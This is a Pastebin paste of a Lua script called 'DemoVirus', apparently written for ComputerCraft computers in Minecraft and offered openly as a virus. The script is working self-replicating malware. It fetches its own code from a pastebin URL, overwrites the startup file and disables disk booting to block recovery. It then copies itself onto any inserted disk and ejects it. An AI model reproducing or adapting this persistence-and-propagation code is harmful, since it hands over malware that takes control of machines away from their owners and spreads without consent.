Advertisement
osmarks

DemoVirus

Jan 2nd, 2019
386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.08 KB | None | 0 0
  1. print "Welcome to DemoVirus!"
  2. print "The simple, lightweight virus."
  3.  
  4. local function delete(file)
  5.     if fs.exists(file) then fs.delete(file) end
  6. end
  7.  
  8. settings.set("shell.allow_startup", true) -- Force local startups to be allowed
  9. local function copy_to(file)
  10.     delete(file) -- Delete it in case it's already a folder
  11.     delete(file .. ".lua") -- Delete possibly conflicting .lua versions
  12.     local h = http.get "https://pastebin.com/raw/2rZYfYhT"
  13.     local f = fs.open(file, "w")
  14.     f.write(h.readAll()) -- Write self to specified file
  15.     f.close()
  16.     h.close()
  17. end
  18. copy_to "startup" -- Overwrite startup
  19. settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks
  20. settings.save ".settings" -- Save these settings
  21. os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive
  22. while true do
  23.     local _, side = coroutine.yield "disk" -- Watch for adjacent disks
  24.     if side then
  25.         local path = disk.getMountPath(side) -- Find where they'll be mounted
  26.         copy_to(fs.combine(path, "startup")) -- Copy to them, too
  27.         disk.eject(side) -- Eject them
  28.     end
  29. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement